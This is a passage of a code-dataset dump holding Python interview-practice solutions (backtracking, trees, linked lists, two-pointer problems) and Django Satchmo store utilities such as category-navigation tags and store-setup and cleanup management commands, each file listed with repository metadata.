0:\n res.append(arr)\n\n for i in range(index, len(A)):\n temp = arr.copy()\n temp.append(A[i])\n self.get_comb(A, i, sum - A[i], temp, res)\n\nif __name__ == \"__main__\":\n sol = Solution()\n # print (sol.combSum([10,1,2,7,6,1,5], 8))\n print(sol.combSum([2, 2, 3, 7, 6], 7))\n\n## 228116" }, { "alpha_fraction": 0.39729729294776917, "alphanum_fraction": 0.42972972989082336, "avg_line_length": 20.823530197143555, "blob_id": "30adec88b6a5d943bedf76946b4b5e1474a4bb0a", "content_id": "86305a8ca370467d0516eaac86f9901f9c990cdc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 370, "license_type": "no_license", "max_line_length": 31, "num_lines": 17, "path": "/math/reverseInteger.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : integer\n # @return an integer\n def reverse(self, A):\n neg = 1 if A < 0 else 0\n A = str(abs(A))\n A = int(A[::-1])\n if A > 2**31 - 1:\n return 0\n if neg:\n return -A\n else:\n return A\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.reverse(676))" }, { "alpha_fraction": 0.43956705927848816, "alphanum_fraction": 0.4491882026195526, "avg_line_length": 31.81999969482422, "blob_id": "a969f90bf7e047c6743ba0c1deba6e218df955f5", "content_id": "842ddcfb0d936b8a2fc5a179e0971ee04011376c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1663, "license_type": "no_license", "max_line_length": 65, "num_lines": 50, "path": "/competition/morgan_stanley_sorting.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import collections\n\nif __name__ == \"__main__\":\n n = int(input().strip())\n arr = [''] * n\n for i in range(n):\n arr[i] = input().strip()\n # print(arr[i])\n key, rev, ctype = input().strip().split()\n key = int(key)\n value = collections.defaultdict()\n sort_arr = []\n for i in range(n):\n key_val = arr[i].split()[key - 1]\n # if '68077' in key_val:\n # print (\"i: \" + key_val)\n if ctype == 'numeric':\n key_val = int(key_val)\n else:\n key_val = key_val\n if key_val in value:\n value[key_val].append(arr[i])\n else:\n value[key_val] = [arr[i]]\n sort_arr.append(key_val)\n if ctype == 'numeric':\n sort_arr = sorted(sort_arr)\n else:\n sort_arr = sorted(sort_arr, key=str.lower)\n # print (sort_arr)\n if rev == 'false':\n for i in range(len(sort_arr)):\n key_val = sort_arr[i]\n # print (key_val)\n if len(value[key_val]) > 1:\n # new_arr = sorted(value[key_val], key=str.lower)\n for j in range(len(value[key_val])):\n print (value[key_val][j])\n else:\n print (value[key_val][0])\n else:\n for i in range(len(sort_arr) - 1, -1, -1):\n key_val = sort_arr[i]\n # print (key_val)\n if len(value[key_val]) > 1:\n # new_arr = sorted(value[key_val], key=str.lower)\n for j in range(len(value[key_val]) -1, -1, -1):\n print (value[key_val][j])\n else:\n print (value[key_val][0])\n \n \n" }, { "alpha_fraction": 0.5199999809265137, "alphanum_fraction": 0.5249999761581421, "avg_line_length": 24.125, "blob_id": "5039522fb1b3a8174dfd60cdd5a2ffa997fc5328", "content_id": "242870dd50efc6691ad75a500f71ccfb4b4d1662", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 200, "license_type": "no_license", "max_line_length": 34, "num_lines": 8, "path": "/Bit Manipulation/singleNumber.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : tuple of integers\n # @return an integer\n def singleNumber(self, A):\n xor = 0\n for i in range(len(A)):\n xor = xor^A[i]\n return xor" }, { "alpha_fraction": 0.4280230402946472, "alphanum_fraction": 0.4376199543476105, "avg_line_length": 21.69565200805664, "blob_id": "6e29b435a9977a62f530c2355b3413217d78c2d8", "content_id": "07d0424c6593c18f5f28e2e973513715874cf0cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 521, "license_type": "no_license", "max_line_length": 46, "num_lines": 23, "path": "/backtracking/permutations.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def permutations(self, A):\n out = []\n self.get_p(A, [], out)\n return out\n\n def get_p(self, A, temp, out):\n n = len(A)\n if n == 0:\n out.append(temp)\n return\n\n for i in range(n):\n new_arr = A[:]\n new_temp = temp[:]\n new_temp.append(A[i])\n new_arr.pop(i)\n self.get_p(new_arr, new_temp, out)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.permutations([1,2,3,4]))" }, { "alpha_fraction": 0.4312080442905426, "alphanum_fraction": 0.43959730863571167, "avg_line_length": 20.321428298950195, "blob_id": "afe724ad8d86bd940fe54a7cf3fe2b73a14e3f2a", "content_id": "bc1aa8072505cabca377fa2185dcbd48f34adf6f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 596, "license_type": "no_license", "max_line_length": 38, "num_lines": 28, "path": "/backtracking/subsetsII.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def subsets(self, A):\n out = []\n out.append([])\n A.sort()\n self.subset(A, 0, out)\n out.sort()\n return out\n\n\n def subset(self, A, index, out):\n print (index)\n print (out)\n if index >= len(A):\n return\n\n n = len(out)\n for i in range(n):\n temp = out[i][:]\n temp.append(A[index])\n if temp not in out:\n out.append(temp)\n self.subset(A, index + 1, out)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.subsets([1,2,2]))" }, { "alpha_fraction": 0.4892726242542267, "alphanum_fraction": 0.49555206298828125, "avg_line_length": 20.965517044067383, "blob_id": "c34e0af12c5cb5e040fd070b162cc9e136a923ed", "content_id": "28115ffb568ee767140abea96c979b94278fda15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1911, "license_type": "no_license", "max_line_length": 55, "num_lines": 87, "path": "/Linked LIst/basic.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "\nclass Node:\n\n def __init__(self, num):\n self.num = num\n self.next = None\n\nclass Linked_List:\n\n def __init__(self):\n self.head = None\n\n def insert_node(self, node):\n new_node = node\n start = self.head\n\n if start == None:\n self.head = new_node\n return\n\n if start.num > new_node.num:\n new_node.next = start\n self.head = new_node\n return\n\n while start.next != None:\n if start.next.num > new_node.num:\n new_node.next = start.next\n start.next = new_node\n break\n start = start.next\n\n if start.next == None:\n start.next = new_node\n\n return\n\n def delete_node(self, num):\n start = self.head\n\n if start.num == num:\n self.head = start.next\n return\n\n mode = 0\n while start.next != None:\n if start.next.num == num:\n start.next = start.next.next\n mode = 1\n break\n start = start.next\n\n if mode == 0:\n print (\"Node not present in Linked List\")\n\n return\n\n def pprint(self):\n start = self.head\n print (start.num, end=\"\")\n while start.next != None:\n print ('-->' + str(start.next.num), end='')\n start = start.next\n print ()\n\n\nif __name__ == \"__main__\":\n llist = Linked_List()\n new_node = Node(5)\n llist.insert_node(new_node)\n new_node = Node(10)\n llist.insert_node(new_node)\n new_node = Node(7)\n llist.insert_node(new_node)\n new_node = Node(3)\n llist.insert_node(new_node)\n new_node = Node(1)\n llist.insert_node(new_node)\n new_node = Node(9)\n llist.insert_node(new_node)\n\n llist.pprint()\n\n llist.delete_node(5)\n llist.pprint()\n\n llist.delete_node(1)\n llist.pprint()" }, { "alpha_fraction": 0.39305445551872253, "alphanum_fraction": 0.4151539206504822, "avg_line_length": 25.6842098236084, "blob_id": "3e8f6abe9276efdf8b9d2984dec29b0f086f6a0b", "content_id": "ed2974c8036b763a2da5b5b54ed8fa8954d61dca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2534, "license_type": "no_license", "max_line_length": 58, "num_lines": 95, "path": "/Trees/twoSumBT.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node():\n\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution():\n\n def twoSumBT(self, A, B):\n leftqueue = []\n rightqueue = []\n\n curr1 = A\n curr2 = A\n val1 = None\n val2 = None\n lflag = True\n rflag = True\n while True:\n\n while (curr1 != None or leftqueue) and lflag:\n # print (leftqueue)\n if curr1 == None:\n curr1 = leftqueue.pop()\n val1 = curr1\n print (curr1.val)\n curr1 = curr1.right\n break\n else:\n leftqueue.append(curr1)\n curr1 = curr1.left\n\n while (curr2 != None or rightqueue) and rflag:\n if curr2 == None:\n curr2 = rightqueue.pop()\n val2 = curr2\n print (curr2.val)\n curr2 = curr2.left\n break\n else:\n rightqueue.append(curr2)\n curr2 = curr2.right\n\n if not val1 or not val2:\n return 0\n sum_nums = val1.val + val2.val\n if val1 == val2:\n lflag = True\n rflag = True\n val1 = None\n val2 = None\n elif sum_nums == B:\n return 1\n elif sum_nums > B:\n lflag = False\n rflag = True\n val2 = None\n else:\n lflag = True\n rflag = False\n val1 = None\n\nif __name__ == \"__main__\":\n sol = Solution()\n head = Node(10)\n node = head\n node.left = Node(5)\n node.right = Node(12)\n left = node.left\n right = node.right\n left.left = Node(4)\n left.right = Node(7)\n left = left.right\n left.right = Node(8)\n right.left = Node(11)\n right.right = Node(17)\n right = right.right\n right.left = Node(16)\n right.right = Node(22)\n print (sol.twoSumBT(head, 44))\n\n # def get_node(self, node, val):\n # if node == val:\n # return node\n # if node.val > val:\n # if node.left != None:\n # return self.get_node(node.left, val)\n # else:\n # return node\n # else:\n # if node.right != None:\n # return self.get_node(node.right, val)\n # else:\n # return node" }, { "alpha_fraction": 0.33966565132141113, "alphanum_fraction": 0.42553192377090454, "avg_line_length": 33.657894134521484, "blob_id": "1ea1b379a1fbc2bc27c3f49bece01c5d1e21ff50", "content_id": "c13a05407f445fd4c4710dcd531710ef3bc1e3dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1316, "license_type": "no_license", "max_line_length": 159, "num_lines": 38, "path": "/hashing/largestContiguousSeq.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def largestContiguousSeq(self, A):\n hash_map = {}\n max_len = 0\n max_len_elem = ()\n curr_sum = 0\n for i in range(len(A)):\n curr_sum += A[i]\n\n # print (f\"{A[i]}:{curr_sum}::{max_len}:{max_len_elem}\")\n\n if A[i] == 0 and max_len == 0:\n max_len = 1\n max_len_elem = (i, i)\n\n if curr_sum == 0:\n max_len = i + 1\n max_len_elem = (0, i)\n\n if curr_sum in hash_map:\n length = i - hash_map[curr_sum]\n if length > max_len:\n max_len = length\n max_len_elem = (hash_map[curr_sum]+1, i)\n else:\n hash_map[curr_sum] = i\n\n if max_len_elem:\n return A[max_len_elem[0]:max_len_elem[1]+1]\n else:\n return []\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.largestContiguousSeq([8, -19, 8, 2, -8, 19, 5, -2, -23]))\n # print (sol.largestContiguousSeq([ -8, 8, -1, -16, -28, -27, 15, -14, 14, -27, -5, -6, -25, -11, 28, 29, -3, -25, 17, -25, 4, -20, 2, 1, -17, -10, -25 ]))\n # print (sol.largestContiguousSeq([ 22, -7, 15, -21, -20, -8, 16, -20, 5, 2, -15, -24, 19, 25, 3, 23, 18, 0, 16, 26, 13, 4, -20, -13, -25, -2 ]))" }, { "alpha_fraction": 0.5552178025245667, "alphanum_fraction": 0.5683890581130981, "avg_line_length": 18.372549057006836, "blob_id": "f8002f66eba23207991087cdca91bd629265845e", "content_id": "61c0010e93fb0798ad17a692e09190d0cb18a5c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 987, "license_type": "no_license", "max_line_length": 54, "num_lines": 51, "path": "/math/sortedPerm1.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Python program to find lexicographic\n# rank of a string\n\n# A utility function to find factorial\n# of n\ndef fact(n):\n f = 1\n while n >= 1:\n f = f * n\n n = n - 1\n return f\n\n\n# A utility function to count smaller\n# characters on right of arr[low]\ndef findSmallerInRight(st, low, high):\n countRight = 0\n i = low + 1\n while i <= high:\n if st[i] < st[low]:\n countRight = countRight + 1\n i = i + 1\n\n return countRight\n\n\n# A function to find rank of a string\n# in all permutations of characters\ndef findRank(st):\n ln = len(st)\n mul = fact(ln)\n rank = 1\n i = 0\n\n while i < ln:\n mul = mul / (ln - i)\n\n # count number of chars smaller\n # than str[i] fron str[i+1] to\n # str[len-1]\n countRight = findSmallerInRight(st, i, ln - 1)\n\n rank = rank + countRight * mul\n i = i + 1\n\n return rank\n\n\n# Driver program to test above function\nst = \"DTNGJPURFHYEW\"\nprint(findRank(st))" }, { "alpha_fraction": 0.5034815073013306, "alphanum_fraction": 0.5088376998901367, "avg_line_length": 28.1875, "blob_id": "cb33eaae3b23e2fe895a4add563df1131c119191", "content_id": "86f5f56205625bca028eef30ac179b0f97e6e044", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1867, "license_type": "no_license", "max_line_length": 89, "num_lines": 64, "path": "/Trees/hotelReviews.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node:\n\n def __init__(self, word):\n self.val = word\n self.left = None\n self.right = None\n\nclass Solution():\n\n def hotelReviews(self, A, B):\n words = A.strip().split('_')\n words.sort()\n head = self.createTrie(words, 0, len(words)-1)\n self.print_tree(head)\n n = len(B)\n out = []\n for i in range(n):\n review_words = B[i].split('_')\n goodness_score = self.get_goodness(head, review_words)\n # print (f\"{review_words}:{goodness_score}\")\n out.append((goodness_score, i))\n out.sort(key= lambda x: x[0], reverse=True)\n new_out = []\n for i in range(n):\n new_out.append(out[i][1])\n return new_out\n\n def createTrie(self, words, min, max):\n if min > max:\n return None\n index = (max + min) // 2\n temp = Node(words[index])\n temp.left = self.createTrie(words, min, index -1)\n temp.right = self.createTrie(words, index + 1, max)\n return temp\n\n def get_goodness(self, head, words):\n score = 0\n n = len(words)\n for i in range(n):\n score += self.check_word(head, words[i])\n # print (f\"{words[i]}::{score}\")\n return score\n\n def check_word(self, head, word):\n if head == None:\n return 0\n if head.val == word:\n return 1\n if head.val > word:\n return self.check_word(head.left, word)\n else:\n return self.check_word(head.right, word)\n\n def print_tree(self, head):\n if head == None:\n return\n self.print_tree(head.left)\n print (head.val)\n self.print_tree(head.right)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.hotelReviews(\"cold \", [ \"cold_x_X_X_X\", \"cold_C_C_C_C\", \"cold_c_C_C_C\" ]))" }, { "alpha_fraction": 0.34285715222358704, "alphanum_fraction": 0.36462584137916565, "avg_line_length": 28.440000534057617, "blob_id": "0d1b52ed26580f6d4696a1e66304a194b56c2702", "content_id": "b62ddea1779e2f87837cebcb5cfb7fcebe377a9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 735, "license_type": "no_license", "max_line_length": 65, "num_lines": 25, "path": "/Two Pointers/3sumZero.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def threeSumZero(self, A):\n A.sort()\n triplets = []\n n = len(A)\n for i in range(n-1):\n start = i + 1\n end = n-1\n while end > start:\n score = A[i] + A[start] + A[end]\n if score == 0:\n if (A[i], A[start], A[end]) not in triplets:\n triplets.append((A[i], A[start], A[end]))\n start += 1\n end -= 1\n elif score > 0:\n end -= 1\n elif score < 0:\n start += 1\n return triplets\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.threeSumZero([-1, 0, 1, 2, -1, -4]))" }, { "alpha_fraction": 0.4669811427593231, "alphanum_fraction": 0.5636792182922363, "avg_line_length": 27.33333396911621, "blob_id": "10fda7d0667a7cc5da299c22f1a1a3a7a8af8728", "content_id": "e6d1b470bd240887308cc3111438be7fef30a0b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 424, "license_type": "no_license", "max_line_length": 52, "num_lines": 15, "path": "/Trees/min_depth.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def minDepth(self, A):\n return self.get_depth(A, 1)\n\n def get_depth(self, head, depth):\n if head == None:\n return 9223372036854775807\n ldepth = self.get_depth(head.left, depth+1)\n rdepth = self.get_depth(head.right, depth+1)\n val = min(ldepth, rdepth)\n if val == 9223372036854775807:\n return depth\n else:\n return val" } ]
150
yourowndisaster09/django-satchmo-tools
https://github.com/yourowndisaster09/django-satchmo-tools
4cb4d2c4570fadd886d3f171e9036855abbadc52
05a555d06e960d5222422c7ba18cf52e32b33009
2ccda9c2001e0c83ecfdf58e372609b8a611b80d
refs/heads/master
2021-01-10T01:00:33.170538
2013-12-02T08:22:19
2013-12-02T08:22:19
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.43378669023513794, "alphanum_fraction": 0.43378669023513794, "avg_line_length": 38.91428756713867, "blob_id": "d3a74d9012514e12c32cc37040c1220e89f4b04d", "content_id": "1d06a6227f7cdf89474e3a309e0a570e4de7197f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1397, "license_type": "no_license", "max_line_length": 131, "num_lines": 35, "path": "/satchmo_tools/category_navigation/templates/category_navigation/_category_navigation.html", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "{% load category_navigation_tags %}\n\n\n{% for node in nodes %}\n {% category_is_active node category as active %}\n {% if node.child.all %}\n <li class=\"{% if active %}active{% endif %}{% if root %} dropdown{% endif %}\">\n <a href=\"{{ node.get_absolute_url }}\" class=\"{% if active %}current{% endif %}\">\n {{ node.name }}\n {% if root %}\n <b class=\"caret\"></b>\n {% else %}\n <i class=\"icon-chevron-right pull-right\"></i>\n {% endif %}\n </a>\n <ul class=\"dropdown-menu sub\">\n {% if root %}\n {% with nodes=node.child.all template_name=\"category_navigation/_category_navigation.html\" category=category %}\n {% include template_name %}\n {% endwith %}\n {% else %}\n {% with nodes=node.child.all template_name=\"category_navigation/_category_navigation.html\" %}\n {% include template_name %}\n {% endwith %}\n {% endif %}\n </ul>\n </li>\n {% else %}\n <li class=\"{% if active %}active{% endif %}\">\n <a href=\"{{ node.get_absolute_url }}\" class=\"{% if active %}current{% endif %}\">\n {{ node.name }}\n </a>\n </li>\n {% endif %}\n{% endfor %}\n" }, { "alpha_fraction": 0.7348242998123169, "alphanum_fraction": 0.7348242998123169, "avg_line_length": 19.866666793823242, "blob_id": "a9936deb00124acb45e9495a64afb80eb1b3af5d", "content_id": "bea8c50fa92d82dbfb167578f23dde91e3b6bd98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 626, "license_type": "no_license", "max_line_length": 47, "num_lines": 30, "path": "/satchmo_tools/product_display/templatetags/product_display_tags.py", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "from django.template import Library\n\nfrom product.models import Product\nfrom product.queries import bestsellers\n\n\nregister = Library()\n\n\[email protected]_tag\ndef random_featured(n):\n products = Product.objects.active_by_site()\n products = products.filter(featured=True)\n return products.order_by('?')[:n]\n\n\[email protected]_tag\ndef bestsellers(n):\n return bestsellers(n)\n\n\[email protected]_tag\ndef recently_added(n):\n return Product.objects.recent_by_site()[:n]\n\n\[email protected]_tag\ndef random_products(n):\n products = Product.objects.active_by_site()\n return products.order_by('?')[:n]\n" }, { "alpha_fraction": 0.7079303860664368, "alphanum_fraction": 0.7079303860664368, "avg_line_length": 31.3125, "blob_id": "f95e7f79b9689611836d0bba72753383ca1cc6bc", "content_id": "7629a29ae1b7ed929068918100a7657f8d107c47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 517, "license_type": "no_license", "max_line_length": 110, "num_lines": 16, "path": "/satchmo_tools/config.py", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "from django.conf import settings\n\n\nsatchmo_tools_settings_defaults = {\n 'SHOP_NAME' : None,\n 'COUNTRY_NAME' : None,\n 'POSTAL_CODE' : None,\n 'DEFAULT_PRODUCT_IMAGE' : None,\n 'IS_INTERNATIONAL' : False\n}\n\ndef get_satchmo_tools_setting(name, default_value = None):\n if not hasattr(settings, 'SATCHMO_TOOLS_SETTINGS'):\n return satchmo_tools_settings_defaults.get(name, default_value)\n\n return settings.SATCHMO_TOOLS_SETTINGS.get(name, satchmo_tools_settings_defaults.get(name, default_value))\n" }, { "alpha_fraction": 0.6652542352676392, "alphanum_fraction": 0.6652542352676392, "avg_line_length": 24.285715103149414, "blob_id": "aa74f805478075d4581d776428cd57ff3ac45e62", "content_id": "23c235e12f72e337e246fda2b09d1f3151e2c982", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 708, "license_type": "no_license", "max_line_length": 92, "num_lines": 28, "path": "/satchmo_tools/category_navigation/templatetags/category_navigation_tags.py", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "from django.template import Library\n\nfrom product.models import Category, Product\n\n\nregister = Library()\n\n\[email protected]_tag('category_navigation/_category_navigation.html', takes_context=True)\ndef category_navigation(context):\n category = None\n if 'category' in context:\n category = context['category']\n return {\n 'nodes': Category.objects.root_categories(),\n 'root': True,\n 'category': category\n }\n\[email protected]_tag\ndef category_is_active(node, category):\n if not category:\n return False\n active = category.id == node.id\n if not active:\n ids = [c.id for c in category.parents()]\n active = node.id in ids\n return active\n" }, { "alpha_fraction": 0.5938864350318909, "alphanum_fraction": 0.6004366874694824, "avg_line_length": 29.53333282470703, "blob_id": "1d08fd23cc6c74d0d3e6f4d896128be8b65be184", "content_id": "b7b85a3286c81e16b27cefbc341ed0e6dbd1cf2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 916, "license_type": "no_license", "max_line_length": 78, "num_lines": 30, "path": "/setup.py", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "import os\nfrom setuptools import setup\n\n\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nsetup(\n name='django-satchmo-tools',\n version='0.1',\n packages=['satchmo_tools'],\n include_package_data=True,\n license='BSD License', # example license\n description='',\n long_description='',\n url='http://www.example.com/',\n author='Roberta Bustos',\n author_email='[email protected]',\n classifiers=[\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License', # example license\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Internet :: WWW/HTTP',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n ],\n)\n" }, { "alpha_fraction": 0.4285714328289032, "alphanum_fraction": 0.4285714328289032, "avg_line_length": 20, "blob_id": "fa71148f2575be725f52457479aeee251151da65", "content_id": "442a3e4552fd4ebc31b0e31549cefa1a6fef92c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 42, "license_type": "no_license", "max_line_length": 20, "num_lines": 2, "path": "/README.md", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "Django Satchmo Tools\n====================\n" }, { "alpha_fraction": 0.5605425238609314, "alphanum_fraction": 0.5642416477203369, "avg_line_length": 31.440000534057617, "blob_id": "561aa835cbc94a5bdb6eecb7b7983e0096ab71be", "content_id": "6656a197a6dcb581f8f7e19395e6935379d3e40a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4055, "license_type": "no_license", "max_line_length": 86, "num_lines": 125, "path": "/satchmo_tools/store/management/commands/createstore.py", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "from optparse import make_option\n\nfrom django.conf import settings\nfrom django.contrib.sites.models import Site\nfrom django.core.management.base import BaseCommand, CommandError\n\nfrom l10n.models import Country\nfrom satchmo_store.shop.models import Config\n\nfrom ....config import get_satchmo_tools_setting\n\n\nclass Command(BaseCommand):\n help = 'Creates Store Configuration'\n base_options = (\n make_option('--override', action='store_true', dest='override', default=False,\n help='Override existing store configuration'\n ),\n )\n option_list = BaseCommand.option_list + base_options\n\n def __init__(self):\n super(Command, self).__init__()\n self.set_settings()\n self.site = self.create_site_object()\n\n def handle(self, *args, **options):\n create_new = False\n try:\n Config.objects.get(site=self.site)\n except Config.DoesNotExist:\n create_new = True\n print(\"No existing configuration\")\n\n if options.get('override'):\n create_new = True\n print(\"Overriding existing store configuration\")\n\n if create_new:\n self.create_store_config()\n self.stdout.write('Completed creating store configuration\\n')\n else:\n self.stdout.write('Already has store configuration\\n')\n\n def _set_settings(self, name):\n setting_value = get_satchmo_tools_setting(name)\n setattr(self, name, setting_value)\n\n def set_settings(self):\n self.ENV_SITE_NAME = settings.ENV_SITE_NAME\n\n required_settings = [\n 'SHOP_NAME',\n 'STORE_EMAIL',\n 'PHONE',\n 'STREET_1',\n 'STREET_2',\n 'CITY',\n 'STATE',\n 'POSTAL_CODE',\n 'COUNTRY_NAME',\n 'IS_INTERNATIONAL',\n ]\n\n for s in required_settings:\n self._set_settings(s)\n\n def create_site_object(self):\n try:\n site = Site.objects.get(pk=1)\n site.name = self.SHOP_NAME\n site.domain = self.ENV_SITE_NAME\n site.save()\n return site\n except Site.DoesNotExist:\n return Site.objects.create(\n name=self.SHOP_NAME,\n domain=self.ENV_SITE_NAME\n )\n\n def create_store_config(self):\n try:\n country = Country.objects.get(name=self.COUNTRY_NAME)\n except Country.DoesNotExist:\n raise CommandError('You must run `python manage.py satchmo_load_l10n`\\\n first or enter a valid country')\n\n if self.IS_INTERNATIONAL:\n in_country_only = False\n shipping_countries = Country.objects.all()\n else:\n in_country_only = True\n shipping_countries = [country]\n\n try:\n config = Config.objects.get(site=self.site)\n config.store_name = self.SHOP_NAME\n config.store_email = self.STORE_EMAIL\n config.phone = self.PHONE\n config.street1 = self.STREET_1\n config.street2 = self.STREET_2\n config.postal_code = self.POSTAL_CODE\n config.city = self.CITY\n config.state = self.STATE\n config.country = country\n config.sales_country = country\n config.in_country_only = in_country_only\n config.save()\n except Config.DoesNotExist:\n config = Config.objects.create(\n site=self.site,\n store_name=self.SHOP_NAME,\n store_email=self.STORE_EMAIL,\n phone=self.PHONE,\n street1=self.STREET_1,\n street2=self.STREET_2,\n postal_code=self.POSTAL_CODE,\n city=self.CITY,\n state=self.STATE,\n country=country,\n sales_country=country,\n in_country_only=in_country_only\n )\n for shipping_country in shipping_countries:\n config.shipping_countries.add(shipping_country)\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.699999988079071, "avg_line_length": 33.761905670166016, "blob_id": "b64876fe943772af4fa96592f9a427f9be9ac3e5", "content_id": "4f9a05263575e5a2bee8d1a72e44db99cb698e91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 730, "license_type": "no_license", "max_line_length": 84, "num_lines": 21, "path": "/satchmo_tools/store/management/commands/cleansatchmo.py", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "from django.core.management.base import BaseCommand\n\nfrom product.models import Product, Category\nfrom product.modules.configurable.models import ConfigurableProduct\nfrom satchmo_store.shop.models import Order, OrderItem, OrderPayment, Cart, CartItem\n\n\nclass Command(BaseCommand):\n help = 'Cleans store'\n\n def handle(self, *args, **options):\n OrderItem.objects.all().delete()\n Order.objects.all().delete()\n OrderPayment.objects.all().delete()\n Cart.objects.all().delete()\n CartItem.objects.all().delete()\n Category.objects.all().delete()\n ConfigurableProduct.objects.all().delete()\n Product.objects.all().delete()\n\n self.stdout.write('Cleaned satchmo store\\n')\n" }, { "alpha_fraction": 0.7905759215354919, "alphanum_fraction": 0.7905759215354919, "avg_line_length": 20.22222137451172, "blob_id": "a7d351b02c95d2ce3ec3f4a4ad89aebcbf10c138", "content_id": "3341466a0f6fa67c5dc7757e0f04ecb9bba59234", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 191, "license_type": "no_license", "max_line_length": 45, "num_lines": 9, "path": "/satchmo_tools/category_navigation/templatetags/root_categories.py", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "from django import template\nfrom product.models import Category\n\n\nregister = template.Library()\n\[email protected]_tag\ndef root_categories():\n return Category.objects.root_categories()\n" }, { "alpha_fraction": 0.6669219136238098, "alphanum_fraction": 0.6676875948905945, "avg_line_length": 33.394737243652344, "blob_id": "ef8412593c8e6d615c8c884620ee879b9343abcb", "content_id": "1d22b1eb34c925effc052556efbe7585798febcf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1306, "license_type": "no_license", "max_line_length": 86, "num_lines": 38, "path": "/satchmo_tools/store/management/commands/createproductimage.py", "repo_name": "yourowndisaster09/django-satchmo-tools", "src_encoding": "UTF-8", "text": "import urllib\nfrom optparse import make_option\n\nfrom django.contrib.staticfiles import finders\nfrom django.core.files import File\nfrom django.core.files.storage import default_storage\nfrom django.core.management.base import BaseCommand\n\nfrom ....config import get_satchmo_tools_setting\n\n\nclass Command(BaseCommand):\n help = 'Uploads default unavailable product picture'\n base_options = (\n make_option('--override', action='store_true', dest='override', default=False,\n help='Override existing unavailable product picture'\n ),\n )\n option_list = BaseCommand.option_list + base_options\n\n def handle(self, *args, **options):\n product_image = get_satchmo_tools_setting('DEFAULT_PRODUCT_IMAGE')\n file_path = finders.find(product_image)\n\n result = urllib.urlretrieve(file_path)\n content = File(open(result[0]))\n\n filenames = [\n 'images/productimage-picture-default.jpg',\n 'images/categoryimage-picture-default.jpg'\n ]\n\n for filename in filenames:\n if not default_storage.exists(filename):\n default_storage.save(filename, content)\n elif options.get('override'):\n default_storage.delete(filename)\n default_storage.save(filename, content)" } ]
10
